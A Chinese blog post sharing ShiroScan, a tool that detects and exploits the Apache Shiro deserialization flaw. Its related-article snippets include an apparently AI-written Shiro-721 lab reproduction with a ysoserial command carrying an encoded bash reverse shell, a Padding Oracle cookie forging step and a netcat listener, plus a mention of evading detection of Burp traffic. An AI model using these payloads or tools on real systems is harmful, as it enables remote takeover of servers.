2024最新工具分享 | ShiroScan - Shiro反序列化漏洞检测工具，一键getshell

已于 2024-12-26 20:47:05 修改
阅读量278 收藏 7
点赞数 3
分类专栏： 小迪贵妃武器库 网络安全武器库 渗透测试武器库 文章标签： 安全 网络 网络安全 web安全 网络安全武器库 渗透测试武器库
于 2024-12-26 12:06:35 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.youkuaiyun.com/zixunchu001/article/details/144740072
版权
0x00 工具介绍

ShiroScan是Shiro反序列化漏洞检测工具，一键getshell,可以帮助测试人员快速找出shiro漏洞进行修复，从而避免老板的惩罚。

0x01 下载链接
工具下载链接: ShiroScan下载
0x02 功能介绍
  • Shiro反序列化检测

pic_65a4666c.png

注：仅供安全研究与学习之用，若将工具做其他用途，由使用者承担全部法律及连带责任，作者及发布者不承担任何法律及连带责任。

Shiro反序列化漏洞利用汇总（Shiro-550+Shiro-721）
07-05 8957
Apache Shiro是一个强大易用的Java安全框架，提供了认证、授权、加密和会话管理等功能。Shiro框架直观、易用，同时也能提供健壮的安全性。 文章目录： 1、Shiro rememberMe反序列化漏洞（Shiro-550） 1.1 漏洞原理 1.2 影响版本 1.3 漏洞特征 1.4 漏洞利用 1.4.1 利用方式一 1.4.2 利用方式二 2、Shiro P...
Shiro反序列化漏洞检测工具
01-05
Shiro1.2.4及以下版本存在反序列化漏洞，该工具用于测试该漏洞。
Shiro反序列化漏洞检测及修复（工具分享）
热门推荐
weixin_46418540的博客
10-12 1万+
写在前面 这篇博文主要解决于一些朋友为了修复反序列化漏洞，根据某些帖子的内容升级了shiro版本，或者采用了随机生成key的方式后，不知道是否管用。特地写下一篇记录，分享一个检测工具。 我在之前项目中碰到了这个问题，由于shiro使用的版本是1.2.4，存在反序列化漏洞，我们采取的办法是手动升级到了1.2.6版本，但苦于无法验证是否解决了问题，后来发现了一款测试工具，ShiroExploit。 在此特别感谢其作者 feihong飞鸿。 下载地址 https://github.com/feihong-cs/S
【shiro】shiro反序列化漏洞综合利用工具v2.2（下载、安装、使用）
最新发布
小王的技术库
04-03 527
④主机攻防演练：MS17-010、MS08-067、MS10-046、MS12-20等。④Web渗透工具：Nmap、BurpSuite、SQLMap、其他（菜刀、漏扫等）②信息收集技术：主动/被动信息搜集、Nmap工具、Google Hacking。③漏洞扫描、漏洞利用、原理，利用方法、工具（MSF）、绕过IDS和反病毒侦察。⑤Web漏洞原理与防御：主动/被动攻击、DDOS攻击、CVE漏洞复现。③常见协议解析（HTTP、TCP/IP、ARP等）④等保简介、等保规定、流程和规范。③网络安全运营的概念。
工具分享 | ShiroScan - Shiro反序列化漏洞检测工具，一键getshell
IT软件汇
09-10 382
ShiroScan是Shiro反序列化漏洞检测工具，一键getshell,可以帮助测试人员快速找出shiro漏洞进行修复，从而避免老板的惩罚。
Shiro反序列化漏洞测试工具使用指南
weixin_34471637的博客
08-27 1680
本文还有配套的精品资源，点击获取 简介：Apache Shiro是一款提供身份验证、授权等安全功能的Java框架。其在处理会话管理时可能会遇到反序列化漏洞，即攻击者通过构造恶意序列化数据执行代码或获取敏感信息。本工具包提供了检测Shiro应用中潜在反序列化漏洞的测试工具，以帮助开发者或安全研究员识别并修复这些安全缺陷，保障应用安全。使用指南包括对序列化与反序列化概念的介绍、...
shiro反序列化漏洞利用工具
11-09
图形化界面，该工具支持漏洞检测，请勿用作非法途径，否则后果自负。 Shiro550无需提供rememberMe Cookie，Shiro721需要提供一个有效的rememberMe Cookie 可以手工指定特定的 Key/Gadget/EchoType（支持多选），如果不指定会遍历所有的 Key/Gadget/EchoType 复杂Http请求支持直接粘贴数据包 pic1
shiro反序列化漏洞
g1345444的博客
02-26 1082
查看到这里发现会传入前面序列化的数组和key值，最后再去调用他的重载方法并且传入序列化数组、key、ivBytes值、generate。这里调用crypt方法进行获取到加密后的数据，而这个output是一个byte数组，大小是加密后数据的长度加上iv这个值的长度。进行加密，该类中也有对应的解密操作。该方法的作用为使用Base64对指定的序列化字节数组进行编码，并将Base64编码的字符串设置为cookie值。这里执行完成后就拿到了ivBytes的值了，这里再回到加密方法的地方查看具体加密的实现。
Shiro反序列化漏洞
m0_71263989的博客
02-20 1064
1、简介Apache Shiro框架是一个功能强大且易于使用的 Java 安全框架，它执行身份验证、授权、加密和会话管理。借助 Shiro 易于理解的 API，您可以快速轻松地保护任何应用程序——从最小的移动应用程序到最大的 Web 和企业应用程序。2、原理Apache Shiro框架提供了记住密码的功能（RememberMe），用户登录成功后会将用户信息加密，加密过程:用户信息=>序列化=>AES加密=>base64编码=>RememberMe Cookie值。
【反序列化漏洞-02】PHP反序列化漏洞实验详解
cc
03-02 3069
序列化：程序将对象状态转换为可存储或传输的字节序列的过程(即对象状态转换为可存储或者可传输的过程)｛序列化是对象转换为字符串的过程｝反序列化：程序把存储或传输的字节序列恢复为对象的过程。｛反序列化则是字符串转化为对象的过程｝如果字符串客户端可控，就会造成web应用反序列化任意对象，严重的是在反序列化的过程中会触发一些可以执行的php代码，例如phpinfoPHP中的序列化与反序列化，基本都是围绕和两个函数展开的。在介绍这两个函数之前，我们可以先看一个简单的例子。
Apahce-Shiro反序列化漏洞复现（CVE-2016-4437）
weixin_45805993的博客
09-28 1741
复现环境:vulhub 漏洞原理 Apache Shiro框架提供了记住我（RememberMe）的功能，关闭了浏览器下次再打开时还是能记住你是谁，下次访问时无需再登录即可访问。 Shiro对rememberMe的cookie做了加密处理，shiro在CookieRememberMeManaer类中将cookie中rememberMe字段内容分别进行序列化、AES加密、Base64编码操作。 在识别身份的时候，需要对Cookie里的rememberMe字段解密。根据加密的顺序，不难知道解密的顺序为 获取re
shiro反序列化漏洞暴力破解漏洞检测工具
09-14
文件内包含内容如下： 1.shiro反序列化漏洞、暴力破解漏洞检测工具源码 2.shiro反序列化漏洞、暴力破解漏洞检测工具jar包 3.shiro反序列化漏洞、暴力破解漏洞检测工具启动方法 4.shiro反序列化漏洞、暴力破解漏洞检测工具使用方法 5.shiro反序列化漏洞、暴力破解漏洞修改方法
shiro 反序列化漏洞综合利用工具 shiro_attack_by J1anfen
11-05
shiro 反序列化漏洞综合利用工具 shiro_attack_by J1anfen，里面的 jar 直接运行即可，用于 shiro 漏洞检测、修复验证等
shiro反序列化测试工具.zip
06-04
shiro反序列化测试工具包，两个使用任意一个即可
apche shiro漏洞检测和利用工具
07-30
Shiro命令执行工具 V1.0 提供默认Key的查询 摘取xray高级版 xray利用链 100+个KEY已注释！！！！ 声明：本工具仅供学习使用，禁止任何用于非法途径，如果使用该工具参与非法活动与本人无任何关系，本人不承担任何责任！
shiro远程命令执行漏洞检测工具.zip
11-15
shiro远程命令执行漏洞检测工具：包括了shiro_attack_2.2和ShiroExploit.V2.51，大家可根据需要自行下载
shiro_attack工具-shiro反序列化漏洞的快速检测和利用
weixin_59047731的博客
05-15 2103
今天分享一个好用的渗透测试工具，主要是针对shiro框架漏洞的，它可以自动的爆破shiro密钥，同时可以写入大马，本人实战中觉得很好用！！！工具名称。
Shiro漏洞检测
weixin_43554548的博客
05-10 9632
关于Shiro漏洞检测工具的使用说明Shiro-550反序列化漏洞简介漏洞检测工具工具一：ShiroExploit工具二：shiro_attack-2.2补充说明 Shiro-550反序列化漏洞简介 漏洞简介： Apache Shiro是一款开源安全框架，提供身份验证、授权、密码学和会话管理。Shiro框架直观、易用，同时也能提供健壮的安全性。 Apache Shiro 1.2.4及以前版本中，加密的用户信息序列化后存储在名为remember-me的Cookie中。攻击者可以使用Shiro的默认密钥伪造用户
Burpsuite 指纹特征绕过
Javachichi的博客
12-05 3291
需要高版本 17 + 的 burp 运行插件，可 bypass 网站流量设备的检测，正常抓包。未使用插件前，burp 指纹特征被识别，抓包被拦截。
shiro721漏洞复现过程
03-24
<think>好的，用户想了解Shiro721漏洞的复现步骤。首先，我需要回忆一下相关的知识。根据提供的引用内容，特别是引用[2]和[4]，Shiro721影响版本是Apache Shiro <=1.4.1。复现步骤通常包括环境搭建、利用漏洞获取权限、编写或使用Payload等。 首先，环境搭建部分，用户需要Docker来拉取镜像并运行容器。引用[2]提到使用vulfocus/shiro-721镜像，所以需要确认正确的Docker命令。然后，漏洞利用需要生成恶意Cookie，通常涉及反序列化攻击。但Shiro721与Shiro550不同，它需要有效的Cookie并通过Padding Oracle攻击来加密Payload，因此可能需要特定的工具，比如shiro-exploit工具箱或者手工构造Payload。 用户可能还需要了解如何检测漏洞是否存在，比如发送一个无效的RememberMe Cookie并观察响应是否有特征。此外，反弹shell的步骤需要生成Payload，可能使用ysoserial或类似工具生成，然后通过工具加密并构造请求。 需要注意的是，复现漏洞需要一定的网络安全知识，确保在合法授权环境下进行。同时，引用中提到的工具如shiro-exploit可能需要从GitHub获取，用户需要安装相关依赖，比如Java环境。 可能的问题点包括Docker环境是否正确启动，Payload生成是否正确，加密过程是否无误，以及如何判断攻击是否成功。此外，用户可能对漏洞原理感兴趣，比如为什么Padding Oracle攻击可以在这里利用，或者如何修复该漏洞。因此，在回答中需要分步骤详细说明，并提示安全注意事项。</think>### Shiro-721漏洞复现步骤详解 #### 一、漏洞简介 Shiro-721是Apache Shiro框架中的反序列化漏洞，影响版本为**Shiro <=1.4.1**。攻击者通过构造恶意RememberMe Cookie，利用Padding Oracle攻击加密反序列化Payload，最终实现远程代码执行[^2][^4]。 #### 二、环境搭建 1. **拉取Docker镜像**： ```bash docker pull vulfocus/shiro-721 ``` 2. **启动容器**： ```bash docker run -d -p 8080:8080 [镜像ID] ``` 访问`http://localhost:8080`，使用默认账号`admin/admin`登录[^4]。 --- #### 三、漏洞验证 1. **检测RememberMe功能**： 登录后查看Cookie是否包含`rememberMe=deleteMe`字段，确认Shiro是否启用该功能。 2. **发送无效Cookie测试**： 使用Burp Suite修改请求，替换`rememberMe`值为无效Base64字符串（如`123`），若响应包含`rememberMe=deleteMe`，则存在漏洞[^3]。 --- #### 四、漏洞利用（以反弹Shell为例） 1. **生成Payload**： 使用`ysoserial`生成反弹Shell命令： ```bash java -jar ysoserial.jar CommonsBeanutils1 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMS84ODg4IDA+JjE=}|{base64,-d}|{bash,-i}" > payload.bin ``` **注意**：替换IP和端口为攻击机地址。 2. **加密Payload**： 使用`shiro-exploit`工具加密Payload，需提供有效的RememberMe Cookie和攻击目标URL： ```bash java -jar shiro-exploit.jar http://localhost:8080/login [有效Cookie] payload.bin ``` 工具会自动通过Padding Oracle攻击生成加密后的恶意Cookie。 3. **发送恶意请求**： 将生成的Cookie替换到请求头中，触发反序列化漏洞： ```http GET / HTTP/1.1 Host: localhost:8080 Cookie: rememberMe=[加密后的恶意Cookie] ``` 4. **接收反弹Shell**： 在攻击机使用Netcat监听： ```bash nc -lvnp 8888 ``` 成功获取目标服务器Shell[^3]。 --- #### 五、修复建议 1. 升级Shiro至**1.4.2及以上版本**； 2. 配置`securityManager.rememberMeManager.cipherKey`为随机密钥； 3. 禁用RememberMe功能（非必要场景）[^4]。 ---
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值